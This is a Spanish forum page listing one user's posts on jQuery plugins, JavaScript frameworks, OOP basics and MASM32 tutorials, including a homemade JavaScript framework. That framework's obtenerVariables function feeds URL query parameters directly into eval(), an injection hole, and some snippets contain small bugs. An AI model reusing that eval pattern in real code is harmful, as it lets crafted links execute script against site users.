Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - AFelipeTrujillo

#1

Excelente libro que quiero compartir con ustedes, esta es un pequeña reseña

Con mas de 250 de millones de usuarios activos, Facebook es la red social numero uno. Pero desarrollar aplicaciones presenta un reto único, combinando técnicas y no técnicas propiamente dichas. Ahora, dos de los mas grandes desarrolladores experimentados de Facebook muestran como enfrentar estos desafíos. El Libro ofrece una guía hasta el momentos de las mejores practicas sobre el ciclo de vida de una aplicación Facebook: diseño, codificación, pruebas, distribución, monitoreo incluso aplicaciones en marketing

Descargar
#2
Desarrollo Web / [Aporte] TN3 Gallery
15 Junio 2011, 15:45 PM

TN3 Gallery es una galería profesional desarrollada sobre JQuery para la visualización y rotación de una colección de imágenes de diversas maneras.

Ya esta validada para todos lo navegadores (Incluyendo los móviles), tiene múltiples efectos de transición, puede mostrar leyendas y presentar la miniaturas horizontal o verticalmente.

El plug-in puede generar automáticamente los thumbnails si necesidad de hacerlo al lado del servidor (server-side con la ayuda de php) y le permite a los usuarios navegar por medio de esta miniaturas.

Las miniaturas no son la única manera de ver las imágenes, también hay botones para ir hacia adelante o hacia atrás, presentación de diapositivas automáticas.

Una de características que tiene esta Galería es la capacidad de presentar varios álbumes con cada álbum tiene su miniatura y un titulo para ayudar a lo usuarios a entender lo que hay dentro.



Fuente del Articulo

Demo
#3

Con el desarrollo de javascript junto con HTML5, cada vez más se hace mas popular la aplicaciones desarrolladas bajo este lenguaje y navegadores que soporten estas nuevas características, están siendo utilizados por más usuarios cada día vez mas, un ejemplo de este avance es el desarrollo de Juegos y cada vez mas se esta alejando Flash ;)

Los Juegos desarrollados JavaScrip no sólo son más fáciles de programar para los coder's WEB, pero también son los únicos que cumplen con la condición de desplegarse en forma de aplicación de escritorio, web y móvil.

A continuación presentare un lista de tres Frameworks que puedes utilizar para la creación de Juego nuevo:

The Render Engine



   Un buen manejo de cross-browser, ofrece mucha mucha flexibilidad y viene con una extensa API.
   Utiliza objetos para reducir código y propone una recolección de basura.
   Abstracción de todo el elemento Canvas.
   Contiene Box2D el cual es es una librería para manejar propiedades físicas.

Lime JS



   Es un Framework para la creación y construcción de juegos con HTML 5 es bastante rápido nativos y también trabaja con pantallas táctiles moderno y navegadores de escritorio.
   LimeJS se crea con el cierre Biblioteca construida por Google y viene con funciones y clases para controlar la línea de tiempo, eventos, formas y animaciones.

Además, el marco tiene un soporte completo de hojas de sprite (se puede recoger todas las imágenes dentro de un solo archivo).

Fuente
#4

Con esta galería se ha podido desmostar el alcance que ha tenido CSS3, Flux Slider es una implementación similar, también realizado con jQuery (y compatible con Zepto Mobile Framework) pero que en lugar de hacer uso de funciones javascript para las transiciones utiliza animaciones CSS3. ¿Cuál es la ventaja? Transiciones más fluidas ya que hacen uso de las capacidades nativas del navegador. Muy recomendable sobretodo los efectos en 3D.

Fuente
#5
jShowOff es un plugin de jQuery flexible para  crear efectos de rotación a cualquier contenido HTML, simplemente funciona mediante la creación de "diapositivas o slideshow" de los elementos secundarios de un contenedor (como elementos de lista <li>).

La salida es completamente personalizable con opciones de reproducción automática,  también podemos configurar la velocidad de las transiciones, los controles de encendido / apagado, efectos y mucho más.

El plugin provee elementos de rotación que nos ayuda en la navegación como un contador de páginas, botones al lado de anterior y  siguiente o imágenes en miniatura (donde todos son opcionales.


FUENTE
#6
Treesaver es un framework para javascript con el fin de crear presentaciones de contenido como si fuera una revista. El framework se adaptan dinámicamente a una amplia variedad de navegadores y dispositivos.

Tanto el contenido y el diseño es en forma compatible con los estándares HTML, CSS y javascript y no hay necesidad de tener conocimientos avanzados en programación.

Simplemente busca los tags <article> (es una nueva etiqueta del estandar HTML5) y muestra el contenido dentro de ellos, en cuanto a la navegación es similar a la de una dispositiva tiene  cuatro botones adelante, atras, ir al primero e ir al ultimo y es capaz de generar automáticamente el "contenido" del menú.

El contenido de este javascript no sobrepasa los 21Kb en su versión comprimida (gzipped), ideal para dispositivos mobiles y trabaja en diferentes navegadores sin mucho problema.



FUENTE
#7
Android / Actualizar Android en HTC G1
24 Enero 2011, 23:30 PM
Hola Hola amigos !!!! tengo HTC G1 y esta corriendo version 1.6 de Android !!! me gustaria saber si conocen de algun video, manual o lo que sea para actualizarlo a 2.1 o 2.2 ... gracias de antemano !!!  :rolleyes:
#8
Seguridad / SafeGo: Antivirus para Facebook
17 Enero 2011, 15:02 PM
Introducción

Navegando por la red, descubrí una aplicación bastante particular y que jamas creí que me iba a encontrar. Todos sabemos que  si usamos Windows como nuestro Sistema Operativo debemos contar con un buen antivirus. Ya que nos protege de cualquier Software malicioso que intente acceder o tomar control de nuestras maquina. Pero este antivirus nos es una aplicación de escritorio y no es para nuestro PC, sino que es una aplicación  útil desarrollada con el objetivo de brindarnos protección cuando navegamos en Facebook.

Contenido

Safego

Safego, es un aplicación en facebook que escanea nuestro perfil, muro, mensajes y comentarios en busca de cualquier enlace malicioso, aplicaciones fraudulentas, de malas configuraciones de seguridad o privacidad. Además, se instala como cualquier aplicación normal.

Instalación

Para instalar la aplicación debemos visitar la pagina oficial de Safego y hacer click en el botón Okidokey! Let's see the App y aceptar todos lo términos que te solicita y después te desplegara la interfaz de la aplicación.

Paso 1: Dar permisos a la aplicación



Paso 2: Despliegue de la Interfaz de Safego


La interfaz de la aplicación nos muestra información de nuestro perfil y un botón llamado Double Check, el cual nos permite escanear nuestro perfil las veces que queramos.

[FUENTE]
#9
JQuery: Color Picker

Introducción

Dando vueltas por un foro me recomendaron un plugin bastante atractivo para desplegar una paleta de colores bastante amigable al usuario usuario su nombre es Color Picker, esta escrita para JQuery y su integración es bastante sencilla como veremos a continuación. Su pagina oficial es http://www.eyecon.ro/colorpicker/ y podrán encontrar una descripción detallada del plugin, con su respectiva documentación y con algunos ejemplos de implementación.

Contenido

Color Picker es un selector de colores que maneja tres formatos de codificación RGB, HSB y Hexadecimal, cuando insertamos el plug a alguna etiqueta del HTML por medio de los selectores de jQuery, este nos desplegara un interfaz intuitiva utilizada en varios editores de imágenes o herramientas semejantes.

Implementación

Para implementar el plug, debemos llamar los siguientes códigos js y css

Código (html4strict) [Seleccionar]
<link href="css/colorpicker.css" type="text/css" rel="stylesheet"></link>
<script src="jquery.js"></script>
<script type="text/javascript" src="js/colorpicker.js"></script>


Invocación

Como he comentado en artículos anteriores, la invocación de este plug se hace por medio de un selector, de la siguiente forma:

Código (html4strict) [Seleccionar]
$('mi selector').ColorPicker(options);

Ejemplo

Código (html4strict) [Seleccionar]
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
    <head>
        <title>jQuery Picker</title>
        <link href="css/colorpicker.css" type="text/css" rel="stylesheet"></link>
        <script src="jquery.js"></script>
        <script type="text/javascript" src="js/colorpicker.js"></script>
        <script>
            $(function(){
                $("#colorpickerHolder").ColorPicker({
                    flat:true,    //Con esto evitamos que el plug no se llamado por algun evento
                    color: "#000", //Color por defecto
                    onShow: function(){ //Una vez se carga toda la vista, se llama a este Evento
                        //CODE
                    },
                    onChange: function(){ //Evento que controla el cambio de color
                        //CODE
                    },
                    onBeforeShow: function(){
                        //CODE
                    },
                    onHide: function(){
                        //CODE

                    },
                    onSubmit: function(){
                        //CODE
                    }
                });
            })
        </script>
    </head>
    <body>
        <div id="colorpickerHolder"></div>
    </body>
</html>



Para aterrizar mejor el uso del plug, daré un ejemplo claro y conciso del manejo de este recurso.

Conclusión

Color Picker, presenta un interfaz liviana, su programación es demasiado sencilla y le ofrecerá un estilo verdaderamente elegante en sus aplicaciones futuras, es una herramienta que debemos tener en cuenta.

[FUENTE]
[EJEMPLO FUNCIONANDO]
#10
Desarrollo Web / [Aporte] JQuery (Selectores)
4 Enero 2011, 18:08 PM
Introducción

En siguiente articulo explicare el manejo de selectores por medio de JQuery. Esta es una gran ventaja que nos ofrece este Framework ya que no ahorra un largo trabajo de programación como por ejemplo: Seleccionar todos los elementos de un arbol DOM que tenga la clase "subTitulo", otro ejemplo seria seleccionar todo los elementos hijos de un nodo del árbol o simplemente seleccionar todo lo elementos DOM y almacenarlos en un vector.

Contenido

En el articulo anterior ya dábamos nociones de los selectores por medio de una función global denominada $(), básicamente podemos seleccionar elementos con las siguientes condiciones:

    * Por Etiqueta: Seleccionar elementos según su etiqueta por ejemplo<p> o <table>
    * Por Identificador: Seleccionar elementos según sea su id
    * Por Clase: Seleccionar elementos según la clase CSS que llame.
    * Otras mas especializadas que podemos encontrar en el API de JQuery

Ejemplos

Supongamos el siguiente codigo de una pagina cualquiera:

Código (html4strict) [Seleccionar]
<html>
    <head>
        <script src="jquery.js"></script>
        <script type="text/javascript">
            $(function(){
                $("#botonNumParrafos").click(function(){
                    alert($('p').length);
                })

                $("#botonNumMiClase").click(function(){
                    alert($('.miClase').length);
                })

                $("#botonNumHijosDiv1").click(function(){
                    alert($('#div1 > *').length);
                })

                $("#botonGetHijosDiv2").click(function(){
                    str = "";
                    $('#div2 > *').each(function(){
                        str += $(this).attr("id")+" Contenido: "+$(this).attr("innerHTML")+"</br>"; //Concatenamos
                    })
                    $("#mostrarResultados").html(str);
                })
            });

        </script>

        <style>
            .miClase{
                background: #CCC;
            }

        </style>
    </head>

    <body>
        <div id="div1">
            <p id="p1">Parrafo 1</p>
            <p id="p2">Parrafo 2</p>
            <p id="p3">Parrafo 3</p>
            <p id="p4">Parrafo 4</p>
        </div>

        <div class="miClase" id="div2">
            <h3 id="cabecera1">Cabecera H3</h3>
            <h4 id="cabecera2">Cabecera H4</h4>
        </div>

        <div id="mostrarResultados">
            <!-- MOSTRAR RESULTATOS -->
        </div>

        <table>
                <tr>
                    <td>
                    <input id="botonNumParrafos" type="button" value="Contar Parrafos"></td>
                    <td>
                    <input id="botonNumMiClase" type="button" value=".miClase Contar"></td>
                    <td>
                    <input id="botonNumHijosDiv1" type="button" value="Contar Hijos de DIV 1"></td>
                    <td>
                    <input id="botonGetHijosDiv2" type="button" value="Consultar Hijos de DIV 2"></td>
                </tr>

        </table>
    </body>
</html>


1. Deseamos seleccionar todos los párrafos de una pagina, contarlos y mostrar dicho valor en un alert

Código (javascript) [Seleccionar]
alert($('p').length);

2. Deseamos seleccionar todos los elementos que tengan asignada la clase CSS ".miClase", contarlos y mostrar dicho valor en un alert

Código (javascript) [Seleccionar]
alert($('.miClase').length); //Existen dos div con la clase asignada .miClase

3. Deseamos seleccionar un elemento identificado como div1 y contar cuantos hijos tiene
Código (javascript) [Seleccionar]

alert($('#div1 > *').length); //div1 tiene 4 parrafos


Estos son ejemplos claros del potencial de JQuery, cuando usamos el selector este nos retorna un objeto que podemos recorrer y consultar, miremos el siguiente escenario:

4. Deseamos seleccionar los hijos del div2 y mostrar en un alert los identificadores de cada uno de los hijo y el contenido

Código (javascript) [Seleccionar]
str = "";
$('#div2 > *').each(function(){
   str += $(this).attr("id")+" Contenido: "+$(this).attr("innerHTML")+"</br>"; //Concatenamos
})
$("#mostrarResultados").html(str);


En este punto he tocado funciones que no he mencionado aun, como es each(), $(this), attr() y html() a continuación esta la explicación de cada uno de ellos:

    * each: realiza un ciclo por cada uno de lo elementos seleccionados
    * $(this): hace referencia a cada uno de los objetos del vector que se esta recorriendo
    * attr(): hace referencia a un atributo del elemento, por ejemplo si quiero consultar el src de una imagen lo hago por medio de attr('src')
    * html(): es lo mismo que realizarle un innerHTML pero mas reducido

Conclusión

Como lo he venido mencionado y lo sigo justificando, JQuery nos ahorra lineas y lineas de código podemos conseguir resultados en muy poco tiempo y nos deja volar la imaginación de una forma increíble. Por ultimo, recomiendo consultar el API porque existen mas formas para seleccionar elementos con ejemplos claros de uso de cada uno de ellos

FUENTE

#11
Desarrollo Web / [Aporte] JQuery
3 Enero 2011, 14:53 PM
Introducción

Cuando surgió la web 2.0 en conjunto del social media las aplicaciones de Internet se tornaron mas exigentes ya que debían ser mas dinámicas. Esto fue posible con el DHTML ya que combina un conjunto de técnicas para diseñar HTML Dinámico, con apoyo de Javasript, hojas de estilo en cascada CSS y la jerarquizacion del árbol DOM.

CitarUna página de HTML Dinámico es cualquier página web en la que los scripts en el lado del cliente cambian el HTML del documento, después de que éste haya cargado completamente, lo cual afecta a la apariencia y las funciones de los objetos de la página. La característica dinámica del DHTML, por tanto, es la forma en que la página interactúa con el usuario cuando la está viendo, siendo la página la misma para todos los usuarios.

Entre los usos mas habituales del DHTML, esta la creación de menús desplegables, ventanas modales, validaciones en tiempo real de formularios, estilo personalizados de la aplicación para cada usuario, creación de entornos mas amigables al cliente final entre otra cantidad de opciones y posibilidades.

JQuery

JQuery es un conjunto de librerías o Framework de javascript, creada inicilamente por John Resig que es trabajador de la Fundación  Mozilla. Este Framework permite reducir de manera notoria la interaccion con los documento HTML, como manipular elementos DOM, gestionar eventos, desarrollar animaciones e integrar contenidos con Ajax.

jQuery es software libre y de código abierto, posee un doble licenciamiento bajo la Licencia MIT y la Licencia Pública General de GNU v2,permitiendo su uso en proyectos libres y privativos. jQuery, al igual que otras bibliotecas, ofrece una serie de funcionalidades basadas en javascript que de otra manera requerirían de mucho más código, es decir, con las funciones propias de esta biblioteca se logran grandes resultados en menos tiempo y espacio

Primeros Pasos

Para empezar el Framework, podemos ingresar a el su sitio oficial y descargarla desde allí. Contiene una amplia comunidad a nivel mundial lo cual hace que su API este bien documentada.

Que lograremos con JQuery:

   * Reducir lineas y lineas de código
   * Hace transparente el código a cualquier navegador WEB, este es un problema serio para cualquier aplicación
   * Creación de animaciones de manera facil
   * Integración, en el mundo existen miles de programadores que trabajan sobre este Framework y se puede conseguir un buena cantidad de plugin's

Hola Mundo

Una vez descargado el Framework, lo llamamos desde el HTML de la siguiente forma:

Código (html4strict) [Seleccionar]
<html>
  <head>
     <script type="text/javascript" src="jquery.js"></script>
  </head>
</html>


Para ejecutar una función apenas haya cargado todo el Árbol DOM, los podemos hacer de la siguiente forma:

Código (html4strict) [Seleccionar]
<html>
  <head>
     <script type="text/javascript" src="jquery.js"></script>
     <script>
     $(function(){
        alert("Hola Mundo")
     })
   </script>
  </head>
</html>


El uso de esta validación, no aseguramos de que Framework empieza a funcionar apenas se haya cargado toda la pagina.

FUENTE
#12
Foro Libre / ColombiaLeaks
17 Diciembre 2010, 16:51 PM
Este porta contiene alguno Cables Traducidos que hacen referencia a Colombia y al movimiento liderador por Anonymuous y otros mas por ahyyy....

http://colombialeaks.wordpress.com
#13
Hola, estuve mirando un catalogo y me llamo la atención este celular... pero antes de tomar una decisión quiero recibir algunas opiniones acerca de este smartphone 
#14
Hola todos, estoy buscando personas interesadas en el medio para que me colaboren en la construccion de Framewaork en JS, yo se que ya hay bastantes pero la idea es hacernos uns propio, para hispanos !!! ... si se le miden le dejo un version del framework analicenla y comentan ... tan sera recibidas sus sugerencias y criticas

Les dejo el codigo:

Código (javascript) [Seleccionar]
/**
* @author 4ng3r
*/
Min={
   version: '1.0',
   name: 'Minimal JS Framework 2010',
   consola: 1,        
}

/**
* @alias Url
* @classDescription Clase desarrollada para manejar todas las propiedades del objeto location
*/

Min.Url = {
 /**
    * @method ubicacion
    * @return Object
    */
   ubicacion:function(){
   return window.location
 },
   /**
    * @method host
    * @return String
    */
   host:function(){
       return this.ubicacion.host;
   },
   /**
    * @method url
    * @return String
    */
   url:function(){
       return this.ubicacion.href;
   },
   /**
    * @method hostname
    * @return String
    */
   hostname:function(){
       return this.ubicacion.hostname;
   },
   /**
    * @method ruta
    * @return String
    */
   ruta:function(){
       return this.ubicacion.pathname;
   },    
   /**
    * @method hash
    * @return String
    * @Description retorna un String como todo lo que esta despues del # en la URL
    */
   hash:function(){
       return this.ubicacion.hash;
   },    
   /**
    * @method puerto
    * @return String
    */
   puerto:function(){
       return this.ubicacion.port;
   },    
   /**
    * @method protocolo
    * @return String
    */
   protocolo:function(){
       return this.ubicacion.protocol;
   },    
   /**
    * @method variables
    * @return String
    * @Description retorna un String como todo lo que esta despues del ? en la URL
    */
   variables:function(){
       return this.ubicacion.search;
   },
   /**
    * @method obtenerVariables
    * @return Void
    * @Description Retorna las variables con su respectivo valor
    */
   obtenerVariables:function(){
     Url = Min.Url.url();
   Url = Url.replace(/.*\?(.*?)/,"$1");
   Variables = Url.split ("&");
   for (i = 0; i < Variables.length; i++) {
          Separ = Variables[i].split("=");
          eval (Separ[0]+'="'+Separ[1]+'"');
   }
 },
   /**
    * @method verResumen
    * @return String
    * @Description retorna el resumen del objeto Location
    */
   verResumen:function(){
       var cadena = "<b>Nombre del HOST: </b>"+this.host()+"<br>";
       cadena += "<b>Ubicacion: </b>"+this.url()+"<br>";
       cadena += "<b>Ruta: </b>"+this.ruta()+"<br>";
       cadena += "<b>Ver Hash: </b>"+this.hash()+"<br>";
       cadena += "<b>Ver Puerto: </b>"+this.puerto()+"<br>";
       cadena += "<b>Ver Protocolo: </b>"+this.protocolo()+"<br>";
       cadena += "<b>Ver Variables: </b>"+this.variables()+"<br>";
       return cadena;
   },
   /**
    * @method redireccionar
    * @param String url
    */
   redireccionar:function(url){
       if(Min.valiciones.esUrl(url)){
           this.ubicacion.assign(url);    
       }else{
           if(Min.consola){
               alert('URL no valida: '+url);
           }            
       }
   },
   /**
    * @method remplezarURL
    * @param Strin url
    * @Description remplazar la pagina actual a otra, borrandola del historial
    */
   remplezarURL: function(url){
       if(Min.valiciones.esUrl(url)){
           this.ubicacion.replace(url);    
       }else{
           if(Min.consola){
               alert('URL no valida: '+url);
           }            
       }        
   },
   /**
    * @method recargar
    */
   recargar:function(){
       this.ubicacion.reload();
    }    
}

Min.valiciones={
   /**
    * @method esString
    * @param Strin str
    * @return Boolean
    */
   esNumero:function(str){
       return !isNaN(str);
   },
   
   /**
    * @method esUrl
    * @param Strin url
    * @return Boolean
    */
   esUrl:function(url){
     var str = new String(url);
       var re=/^http:\/\/\w+(\.\w+)*\.\w{2,3}$/;
       return re.test(str);
   },
   /**
    * @method validarCampoCorreo
    * @param String email
    * @return Booblean
    */
   esEmail:function(email){
     var str = new String(email);
   if (/^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/.test(str)){
     return true;
   }else {
     return false;
   }
 },
 /**
    * @method esHora
    * @param String hora
    * @return Booblean
    * @example var bool = Min.valiciones.esHora("12:00 AM");    //true
    */
 esHora:function(hora){
   var er_fh = /^(1|01|2|02|3|03|4|04|5|05|6|06|7|07|8|08|9|09|10|11|12)\:([0-5]0|[0-5][1-9])\ (AM|PM)$/
    if( str == "" ){
     return false
    }
    if(!(er_fh.test(hora))){
     return false
    }
    return true
 },
 /**
    * @method esFecha
    * @param String fecha
    * @return Booblean
    * @example var f = Min.valiciones.esFecha("12-11-2009"); //true    
    */
 esFecha:function(fecha){
   var Fecha= new String(fecha);
     var RealFecha= new Date();
     var Ano= new String(Fecha.substring(Fecha.lastIndexOf("-")+1,Fecha.length));
     var Mes= new String(Fecha.substring(Fecha.indexOf("-")+1,Fecha.lastIndexOf("-")));
     var Dia= new String(Fecha.substring(0,Fecha.indexOf("-")));
     if (isNaN(Ano) || Ano.length<4 || parseFloat(Ano)<1900){
         return false;
   }
     if (isNaN(Mes) || parseFloat(Mes)<1 || parseFloat(Mes)>12){
         return false;
     }
     if (isNaN(Dia) || parseInt(Dia, 10)<1 || parseInt(Dia, 10)>31){
         return false;
     }
     if (Mes==4 || Mes==6 || Mes==9 || Mes==11 || Mes==2) {
         if (Mes==2 && Dia > 28 || Dia>30) {
            return false;
       }
   }
 return true;
 },
 /**
    * @method tieneNumeros
    * @param String str
    * @return Booblean
    */
 tieneNumeros:function(str){
   var numeros="0123456789";
   return this.comparacion(str,numeros);
 },
 /**
    * @method tieneMinusculas
    * @param String str
    * @return Booblean
    */
 tieneMinusculas:function(str){
   var letras="abcdefghyjklmnñopqrstuvwxyz";
   return this.comparacion(str,letras);
 },
 /**
    * @method tieneMayusculas
    * @param String str
    * @return Booblean
    */
 tieneMayusculas:function(str){
   var letras="ABCDEFGHYJKLMNÑOPQRSTUVWXYZ";
   return this.comparacion(str,letras);
 },
 /**
    * @method comparacion
    * @param String str
    * @param String patron    
    * @return Booblean
    * @description Esta funcion busca en la cadena si existe un patron    
    */
 comparacion:function(str,patron){
   for(i=0; i<str.length; i++){
     if (patron.indexOf(str.charAt(i),0)!=-1){
        return true;
     }
   }
   return false;
 }
}

Min.vector={
   /**
    * @method crearArreglo
    * @param Object o
    * @return Array
    */
   crearVector:function(o){
       if ((typeof o) == "object") {
           var tmp = new Array()
           for(item in o){
               tmp[item]=o[item];
           }
           return tmp;    
       }
       return null;    
   },
   /**
    * @method agregar
    * @param Array vector
    * @param String Item || Number Item
    * @param Object valor (Number, Boolean, String)
    */
   agregar:function(vector,item,valor){
       if ((typeof vector)=="object"){
           vector[item]=valor;    
       }else{
           return null;
       }        
   },
   /**
    * @method eliminar
    * @param Array arreglo
    * @param String Item || Number Item
    */
   eliminar:function(vector,item){
       if ((typeof vector) == "object") {
           vector[item]=null;
       }        
   },
   /**
    * @method logitud
    * @param Array arreglo
    * @return Number
    */
   logitud:function(vector){
       if ((typeof vector) == "object") {
           return vector.length;
       }
   },    
}

Min.DOM={
   documento: document,
   /**
    * @method obtenerElementoID
    * @param String id
    * @return Object
    */
   obtenerElemento:function(id){
       return Min.DOM.documento.getElementById(id);
   },
   /**
    * @method DOMCompleto
    * @param Function f
    */    
   DOMCompleto:function(f){
       Min.Ventana.ventana.onload=function(){
           f();    
       }
   },
   /**
    * @method obtenerPrimerHijo
    * @return Object
    */
   obtenerPrimerHijo: function(){
       return Min.DOM.documento.firstChild;
   },
   /**
    * @method obtenerUltimoHijo
    * @return Object
    */
   obtenerUltimoHijo: function(){
       return Min.DOM.documento.lastChild;
   },
   obtenerPadre:function(el){
       return el.parentNode;
   },
   /**
    * @method obtenerBody
    * @return Object
    */
   obtenerBody:function(){
       return document.getElementsByTagName('body')[0];
   },
   /**
    * @method insertarElemento
    * @param object padre
    * @param object hijo
    */
   insertarElemento:function(padre,hijo){
       return padre.appendChild(hijo);
   },
   
   agregarEvento:function(obj,evento,funcion){
     var n = Min.Navegador.obtenerNavegador();
     if(n==1){
       obj.addEventListener(evento,funcion,false);
     }
 }
}

Min.Ventana={
   ventana: window,
   ancho: window.screen.width,
   alto: window.screen.height,
   /**
    * @method moverCapas
    * @param String el
    */    
   moverCapas: function(el){
       this.naveador=Min.Navegador.obtenerNavegador();
       this.elemento=el;
       this.comenzarMovimiento=function(){
           var elMovimiento=document.getElementById(this.getId());
           elMovimiento.style.position="relative";
           elMovimiento.onmousedown=function(event){
               cursorComienzoX=event.clientX+window.scrollX;
               cursorComienzoY=event.clientY+window.scrollY;
               document.addEventListener("mousemove",enMovimiento, true);
               document.addEventListener("mouseup",finMovimiento, true);
               elComienzoX=parseInt(elMovimiento.style.left);
               elComienzoY=parseInt(elMovimiento.style.top);
               function enMovimiento(event){
                   var xActual, yActual;
                   xActual=event.clientX+window.scrollX;
                   yActual=event.clientY+window.scrollY;
                   elMovimiento.style.left=(elComienzoX+xActual-cursorComienzoX)+"px";
                   elMovimiento.style.top=(elComienzoY+yActual-cursorComienzoY)+"px";
                   elMovimiento.style.opacity="0.4";
                   evitaEventos(event);
               }
               
               function finMovimiento(){
                   document.removeEventListener("mousemove", enMovimiento, true);
                   document.removeEventListener("mouseup", finMovimiento, true);
                   elMovimiento.style.opacity="1";
               }
               
               function evitaEventos(){
                   event.preventDefault();
               }
           }
       }
       this.getId=function(){
           return this.elemento;
       }
   },
   crearVentana:function(titulo,ancho,alto){
       alert(alto);
       var b = Min.DOM.obtenerBody();
       var d = document.createElement('div');
       d.setAttribute('id','ventana1');
       d.setAttribute('style','width: '+ancho+'px; height:'+alto+'px;');
       d.setAttribute('class','ventana');
       var panel = Min.DOM.insertarElemento(b,d);
       d = document.createElement('div');
       d.setAttribute('id','titulo');
       d.setAttribute('class','ventana');
   }
}

Min.Navegador={
   obtenerNavegador: function(){
       if(navigator.userAgent.indexOf("MSIE")>=0){
           return navegador=0;    
       }
       return navegador=1;    
   },  
 obtenerSistemaOperativo:function(){
   
 }    
}

Min.Efectos={
   /**
    * @method iluminarElemento
    * @param Number inicio
    * @param Number fin
    * @param Object el
    */
   iluminarElemento:function(inicio,fin,el){
       if(Min.valiciones.esNumero(inicio)&&Min.valiciones.esNumero(fin)){
           
       }
   }
}


Les dejo un Ejemplo:

Código (html4strict) [Seleccionar]
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
 <head>
 <script src="framework.js"></script>
 <script>
   Min.DOM.DOMCompleto(function(){
     var obj = Min.DOM.obtenerElemento('a');
     Min.DOM.agregarEvento(obj,"click",function(){
       alert("Este es un evento Click en el Objeto: "+this.id);
     });
   })
 </script>
 </head>
 <body>

   <div id="a">
       <h1>HOLA</h1>
   </div>
   
 </body>
</html>
#15
ASM / ASM y Robotica
2 Octubre 2010, 17:44 PM
Me Meti en un proyecto de mi universidad y es un competencia de Robots y yo soy de la parte de programacion, tengo nociones basicas de ASM pero la verdad no soy tan bueno en este lenguaje, queria perdirles consejo, por donde empiezo?, existen librerias? o si hay otro lenguaje de programacion que me facilite mas el desarrollo !!
#16
Introducción

La programación orientada a objetos (POO) nos permite escribir código menos propenso a fallos además de permitirnos la re utilización de código de forma más conveniente.

En el siguiente articulo tratare unos conceptos básicos que debemos tener en cuenta a la hora de programar bajo este paradigma y de cómo utilizar los distintos elementos que nos permitirán crear código que sea más fácil de escribir y mantener 

Los Pilares de la POO

La programación orientada objetos (que aquí en adelante la voy a llamar POO) tiene tres características esenciales y son el alma de este estilo de programación estos son:

    * Encapsulación
    * Herencia
    * Polimorfismo

Encapsulación: Es la cualidad de unificar los datos y la forma de manipularlos, de esta forma podemos ocultar el funcionamiento de una clase y exponer solo los datos que manipula (mediante propiedades o atributos), así como proveer de medios para poder manipular dichos datos (mediante métodos). De esta forma solo exponemos al mundo exterior la información y la forma de manipularla, ocultando los detalles usados para manejar esos datos y, lo que es más importante, evitando que nadie manipule de una forma no controlada dicha información.

Herencia: Es la cualidad de poder crear nuevas clases (o tipos) basadas en otras clases, de forma que la nueva clase obtenga todas las características de la clase que ha heredado, tanto los datos que contiene como la forma de manipularlos, pudiendo añadir nuevas características e incluso cambiar el comportamiento de algunas de las incluidas en la clase base, (siempre que así se haya previsto). Mediante la herencia podemos crear de forma fácil una jerarquía de clases que comparten un mismo comportamiento básico pero que cada nueva generación puede tener (y de hecho tiene) un nuevo comportamiento.

Polimorfismo: es la cualidad de implementar de forma particular algunas de las características que tienen las clases, de forma que cuando necesitemos usarlas no nos preocupe la implementación interna que cada una tenga, lo que realmente nos interesa o nos debe importar es que podemos usar esas características e incluso podamos acceder a ellas de forma anónima.

¿Por Que POO?

# Se parece mas al mundo real
# Permite Representar Modelos Complejos
# Muy apropiada para aplicaciones de Negocio (BPM)
# Las dos grandes plataformas del mercado han adoptado este paradigma Java y .NET

FUENTE
#17
ASM / [Aporte] Hola Mundo en MASM32
30 Agosto 2010, 01:13 AM
Hola Mundo en MASM32

Ahora vamos a empezar programando el Hola Mundo en MASM32, usando la API de Win32. En mi anterior articulo podemos estructurar un programa en este Macro Assembler, en los archivos creador hay un archivo de extensión *.Inc y *.Asm, entonces en el primero archivo contendrá todas las librerías necesarias para ejecutar un programa, recuerden que esta librerias contiene funciones que no hacen las vida mas fácil !!!

El archivo *.Inc debe quedar de esta forma:

Código (asm) [Seleccionar]
include windows.inc
include user32.inc
include kernel32.inc

includelib user32.lib
includelib kernel32.lib

;Sgmeto de datos
.data
;Creamos un variable con el contenido de mi mensaje
Mensaje db "HOLA MUNDO SOY 4ng3r",0
Titulo db "Saludo en MASM32",0



El archivos *.Asm debe quedar de la siguiente forma:

Código (asm) [Seleccionar]
.386
.model flat,stdcall
option casemap:none

;llamanos al archivo *.Inc
include prueba1.inc

.code
prueba1:

invoke MessageBox,NULL,addr Mensaje, addr Titulo, MB_OK
invoke ExitProcess,0

end prueba1


Una vez hallamos terminado, procedemos a ensamblarlo, estructurarlo y ejecutarlo. Este debería ser el resultado:


#18
MASM32 - RadAsm y Estructura Basica

Introduccion

Masm32 es un excelente conjunto de herramientas de programación, distribuído por Hutch, que incluye el Macro Assembler de Microsoft, macros, ayudas y todas las librerías (.lib) y archivos 'include' (.inc) necesarios para programar aplicaciones en assembler para Windows.

Pagina Principal: http://www.masm32.com/

RadASM

Para que se nos haga mas fácil la vida, esta a nuestra dispositivo un IDE para Assembler llamado RadASM, una vez lo hayamos descargado e instalado, procedemos a crear nuestro primer proyecto:




En la opción de ensamblador escogemos masm y en tipo de proyecto marcamos Win32 App, le asignamos un nombre al proyecto yo escoji prueba1, la ruta donde va ser almacenada y Next

Luego escogemos los archivos a crear con el proyecto, en este caso activaremos la casilla de Asm, Inc y Bak


Estas opciones las dejamos tal cual y oprimimos Finish

Al lado derecho se pueden observar los archivos que hemos creado.


Abrimos el archivo Asm y nos ponemos programar

Estructura Basica

Un Programa para Masm32 debe seguir una estructura que pueda ser entendida por nuestro compilador, por ejemplo:

Código (asm) [Seleccionar]
.386
.model flat,stdcall
option casemap:none

include windows.inc
include kernel32.inc
includelib kernel32.lib

.data

.code
prueba1:

invoke ExitProcess,0

end prueba1


Explicacion:

.386 - Esta directiva sirve para establecer el tipo de procesador y sus instrucciones con lo que se va a trabajar

.model flat,stdcall - Aquí establecemos el modelo de memoria requerido para nuestro programa

option casemap:none - Esta opcion hace sensible las mayucualas de las minusculas, es decir, que B es difetente A

